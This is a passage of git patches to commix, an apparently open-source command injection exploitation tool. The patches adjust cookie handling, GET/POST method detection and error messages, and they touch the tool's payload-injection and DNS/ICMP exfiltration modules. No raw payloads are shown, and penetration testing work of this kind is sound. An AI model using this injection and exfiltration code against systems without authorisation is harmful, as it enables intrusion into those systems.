settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif menu.options.data: data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - url = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data, headers={"Cookie": cookie}) + tmp_url = url.replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(tmp_url, data, headers={"Cookie": cookie}) headers.do_check(request) response = requests.get_request_response(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 517a0f15d2..c598e98db8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From ce70654625ad8db15a51f82c5068092cee41f568 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 Dec 2021 08:38:22 +0200 Subject: [PATCH 0031/1023] Added support for checking for not declared cookie(s) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 31 ++++++++++++++++++++++++ src/core/requests/headers.py | 5 +++- src/utils/settings.py | 2 +- 4 files changed, 37 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d4b3abc27a..78f9fd2294 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Added: Support for checking for not declared cookie(s). * Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. * Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. * Revised: Improvements regarding dynamic code evaluation heuristic check. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 2dfce50f48..118d6c3be1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -55,6 +55,37 @@ except ImportError: settings.READLINE_ERROR = True + +""" +check for not declared cookie(s) +""" +def not_declared_cookies(response): + try: + candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1) + while True: + if not menu.options.batch: + question_msg = "You have not declared cookie(s), while " + question_msg += "server wants to set its own ('" + str(candidate) + "'). " + question_msg += "Do you want to use those [Y/n] > " + set_cookies = _input(settings.print_question_msg(question_msg)).lower() + else: + set_cookies = "" + if len(set_cookies) == 0: + set_cookies = "Y" + if set_cookies in settings.CHOICE_YES: + menu.options.cookie = candidate + break + elif set_cookies in settings.CHOICE_NO: + break + elif set_cookies in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + set_cookies + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + except KeyError: + pass + """ Tab Autocompleter """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index cec443df94..7ef1f1144f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -233,7 +233,10 @@ def https_open(self, req): # Checks regarding a potential browser verification protection mechanism. checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. - checks.blocked_ip(page) + checks.blocked_ip(page) + # Checks for not declared cookie(s), while server wants to set its own. + if menu.options.cookie == None: + checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: diff --git a/src/utils/settings.py b/src/utils/settings.py index c598e98db8..4db136bdc0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c4b91b8277fd54fab41e2876082b7783b12e64c0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 21 Dec 2021 07:40:27 +0200 Subject: [PATCH 0032/1023] Added new option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response --- doc/CHANGELOG.md | 1 + src/core/requests/headers.py | 2 +- src/utils/menu.py | 6 ++++++ src/utils/settings.py | 2 +- 4 files changed, 9 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 78f9fd2294..65b2686aa5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response. * Added: Support for checking for not declared cookie(s). * Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. * Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 7ef1f1144f..b73162bc84 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -235,7 +235,7 @@ def https_open(self, req): # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # Checks for not declared cookie(s), while server wants to set its own. - if menu.options.cookie == None: + if menu.options.cookie == None and not menu.options.drop_set_cookie: checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). diff --git a/src/utils/menu.py b/src/utils/menu.py index 793d89e96e..a0c410e1d7 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -313,6 +313,12 @@ def banner(): type="int", help="Retries when the connection timeouts (Default: 3).") +request.add_option("--drop-set-cookie", + action="store_true", + dest="drop_set_cookie", + default=False, + help="Ignore Set-Cookie header from response.") + # Enumeration options enumeration = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Enumeration" + Style.RESET_ALL, "These options can be used to enumerate the target host.") diff --git a/src/utils/settings.py b/src/utils/settings.py index 4db136bdc0..337e410571 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 126b9aed97f5b3c675135ae32a60275b99297b7a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 22 Dec 2021 09:02:28 +0200 Subject: [PATCH 0033/1023] Fixes https://github.com/commixproject/commix/issues/711 --- .../blind/techniques/time_based/tb_handler.py | 2 +- .../techniques/time_based/tb_injector.py | 8 ++-- src/core/injections/controller/controller.py | 4 +- .../techniques/classic/cb_handler.py | 2 +- .../techniques/classic/cb_injector.py | 8 ++-- .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/eval_based/eb_injector.py | 8 ++-- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/file_based/fb_injector.py | 8 ++-- .../techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_injector.py | 8 ++-- src/core/main.py | 38 ++++++++++++++----- .../dns_exfiltration/dns_exfiltration.py | 4 +- .../icmp_exfiltration/icmp_exfiltration.py | 4 +- src/utils/settings.py | 2 +- 15 files changed, 61 insertions(+), 41 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 0897d60d91..9ceb58bddc 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -375,7 +375,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: header_name = "" the_type = " parameter" - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 589a31325d..a1352661fd 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -45,8 +45,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, end = 0 start = time.time() - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.INJECT_TAG, payload) @@ -92,8 +92,8 @@ def injection_test(payload, http_request_method, url): end = 0 start = time.time() - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d23b244563..e151fde884 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -100,7 +100,7 @@ def heuristic_basic(url, http_request_method): tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data: + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: @@ -635,7 +635,7 @@ def basic_level_checks(): settings.IDENTIFIED_WARNINGS = False settings.IDENTIFIED_PHPINFO = False # Check if HTTP Method is GET. - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: get_request(url, http_request_method, filename, timesec) # Check if HTTP Method is POST. else: diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index b567351bec..0f54de2d6c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -246,7 +246,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 8a9c5d9391..5e17a40639 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -46,8 +46,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: if " " in payload: payload = payload.replace(" ","%20") # Define the vulnerable parameter @@ -197,8 +197,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 88f27d3481..4feae2a045 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -259,7 +259,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 1bbcd67e1e..a0b7cbf999 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -40,8 +40,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -185,8 +185,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 5d460723fb..e579189bc5 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -465,7 +465,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: header_name = "" the_type = " parameter" - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index cdb20f7c65..895dd3448b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -42,8 +42,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -188,8 +188,8 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) payload = payload.replace(" ","%20") diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 03541a844c..7c4e7d3099 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -414,7 +414,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: header_name = "" the_type = " parameter" - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 3b11178120..5d49f10d7d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -46,8 +46,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, end = 0 start = time.time() - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) @@ -96,8 +96,8 @@ def injection_test(payload, http_request_method, url): end = 0 start = time.time() - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: payload = payload.replace("#","%23") # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) diff --git a/src/core/main.py b/src/core/main.py index 089e1d72d0..0d1f513615 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -606,14 +606,6 @@ def main(filename, url): if menu.options.enum_all: checks.enable_all_enumeration_options() - # Launch injection and exploitation controller. - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD - else: - if menu.options.data: - http_request_method = settings.HTTPMETHOD.POST - else: - http_request_method = settings.HTTPMETHOD.GET controller.do_check(url, http_request_method, filename) return filename @@ -776,7 +768,7 @@ def main(filename, url): pass else: break - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: question_msg = "Please enter POST data (--data) [Enter for none] > " menu.options.data = _input(settings.print_question_msg(question_msg)) if len(menu.options.data) == 0: @@ -817,6 +809,34 @@ def main(filename, url): if inject_tag_regex_match: settings.INJECT_TAG = inject_tag_regex_match.group(0) + # Check provided parameters for tests + if menu.options.test_parameter or menu.options.skip_parameter: + if menu.options.test_parameter != None : + if menu.options.test_parameter.startswith("="): + menu.options.test_parameter = menu.options.test_parameter[1:] + settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + + elif menu.options.skip_parameter != None : + if menu.options.skip_parameter.startswith("="): + menu.options.skip_parameter = menu.options.skip_parameter[1:] + settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + + for i in range(0,len(settings.TEST_PARAMETER)): + if "=" in settings.TEST_PARAMETER[i]: + settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + + # Check for HTTP Method + if len(settings.HTTP_METHOD) != 0: + http_request_method = settings.HTTP_METHOD.upper() + else: + if not menu.options.data or \ + settings.WILDCARD_CHAR in menu.options.url or \ + settings.INJECT_TAG in menu.options.url or \ + [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]: + http_request_method = settings.HTTPMETHOD.GET + else: + http_request_method = settings.HTTPMETHOD.POST + # Define the level of tests to perform. if menu.options.level > 3: err_msg = "The value for option '--level' " diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 248b6ccdc8..cffc02123d 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -68,7 +68,7 @@ def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter): if settings.VERBOSITY_LEVEL != 0: sys.stdout.write("\n" + settings.print_payload(payload)) - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") request = url + data @@ -185,7 +185,7 @@ def dns_exfiltration_handler(url, http_request_method): print("\n" + settings.print_critical_msg(err_msg)) os._exit(0) - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: #url = parameters.do_GET_check(url, http_request_method) vuln_parameter = parameters.vuln_GET_param(url) request = _urllib.request.Request(url) diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index d390152942..629498bc53 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -84,7 +84,7 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") req = url + data @@ -212,7 +212,7 @@ def icmp_exfiltration_handler(url, http_request_method): print(settings.print_critical_msg(err_msg) + "\n") os._exit(0) - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: #url = parameters.do_GET_check(url, http_request_method) request = _urllib.request.Request(url) headers.do_check(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 337e410571..2664258a00 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From a7f87e72496fd9746731486ec07c69718d624125 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 23 Dec 2021 08:55:00 +0200 Subject: [PATCH 0034/1023] Fixes https://github.com/commixproject/commix/issues/724 --- src/core/main.py | 2 +- src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 2 +- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 0d1f513615..bd8dd8b4ff 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -516,7 +516,7 @@ def main(filename, url): print(settings.print_critical_msg(str(err_msg.code))) raise SystemExit() except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) + print(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() try: info_msg = "Performing identification checks to the target URL." diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 629498bc53..859960da4e 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -109,7 +109,7 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): raise SystemExit() except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) + print(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() except _http_client.InvalidURL as err: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 9a5d0a1cad..c389ddd81a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -202,7 +202,7 @@ def estimate_response_time(url, timesec): except _urllib.error.URLError as err_msg: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) + print(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() except ValueError as err_msg: diff --git a/src/utils/settings.py b/src/utils/settings.py index 2664258a00..7c3238dde8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 8019d691d3b5a45b1dcb558a0b32a5ef2febc8ec Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 24 Dec 2021 08:31:25 +0200 Subject: [PATCH 0035/1023] Fixes https://github.com/commixproject/commix/issues/726 --- src/core/main.py | 9 ++++----- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index bd8dd8b4ff..0f220fa438 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -768,11 +768,10 @@ def main(filename, url): pass else: break - if http_request_method != settings.HTTPMETHOD.POST: - question_msg = "Please enter POST data (--data) [Enter for none] > " - menu.options.data = _input(settings.print_question_msg(question_msg)) - if len(menu.options.data) == 0: - menu.options.data = False + question_msg = "Please enter POST data (--data) [Enter for none] > " + menu.options.data = _input(settings.print_question_msg(question_msg)) + if len(menu.options.data) == 0: + menu.options.data = False # Retries when the connection timeouts. if menu.options.retries: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7c3238dde8..4e831dad34 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 2b08b465f88f859b3714221c997f037a37a4c093 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 25 Dec 2021 11:14:20 +0200 Subject: [PATCH 0036/1023] Fixes for https://github.com/commixproject/commix/commit/ce70654625ad8db15a51f82c5068092cee41f568 --- src/core/injections/controller/checks.py | 2 +- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 118d6c3be1..89bcc1e091 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -83,7 +83,7 @@ def not_declared_cookies(response): err_msg = "'" + set_cookies + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - except KeyError: + except (KeyError, TypeError): pass """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b73162bc84..67d89eefdc 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -235,7 +235,7 @@ def https_open(self, req): # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # Checks for not declared cookie(s), while server wants to set its own. - if menu.options.cookie == None and not menu.options.drop_set_cookie: + if response.headers['set-cookie'] and menu.options.cookie == None and not menu.options.drop_set_cookie: checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). diff --git a/src/utils/settings.py b/src/utils/settings.py index 4e831dad34..1c7c1cb50a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 93acbd362812fdb3b411e4c17cfb6cf98e4be0c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 25 Dec 2021 12:02:33 +0200 Subject: [PATCH 0037/1023] Fix for https://github.com/commixproject/commix/commit/2b08b465f88f859b3714221c997f037a37a4c093 --- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 67d89eefdc..b73162bc84 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -235,7 +235,7 @@ def https_open(self, req): # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # Checks for not declared cookie(s), while server wants to set its own. - if response.headers['set-cookie'] and menu.options.cookie == None and not menu.options.drop_set_cookie: + if menu.options.cookie == None and not menu.options.drop_set_cookie: checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). diff --git a/src/utils/settings.py b/src/utils/settings.py index 1c7c1cb50a..40914ce4f1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 90e5ee68d194468d9aac53437d98acc7487f9ee6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 26 Dec 2021 10:00:39 +0200 Subject: [PATCH 0038/1023] Added lock-bot --- .github/workflows/lockbot.yml | 17 +++++++++++++++++ src/utils/settings.py | 2 +- 2 files changed, 18 insertions(+), 1 deletion(-) create mode 100644 .github/workflows/lockbot.yml diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml new file mode 100644 index 0000000000..8145a665f8 --- /dev/null +++ b/.github/workflows/lockbot.yml @@ -0,0 +1,17 @@ +name: 'LockBot' + +on: + schedule: + - cron: '0 1 * * *' + +permissions: + issues: write + +jobs: + action: + runs-on: ubuntu-latest + steps: + - uses: dessant/lock-threads@v2 + with: + issue-lock-inactive-days: '90' + issue-lock-comment: 'This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.' \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 40914ce4f1..21944c9a9c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From e845dde0caffe63b09565ab4cfadb96b0ee33259 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Dec 2021 10:12:30 +0200 Subject: [PATCH 0039/1023] Minor update --- src/core/injections/controller/controller.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e151fde884..dd0fd7a2b9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -105,7 +105,9 @@ def heuristic_basic(url, http_request_method): else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(tmp_url, data, headers={"Cookie": cookie}) + request = _urllib.request.Request(tmp_url, data) + if cookie: + request.add_header(settings.COOKIE, cookie) headers.do_check(request) response = requests.get_request_response(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 21944c9a9c..383b26e3aa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = 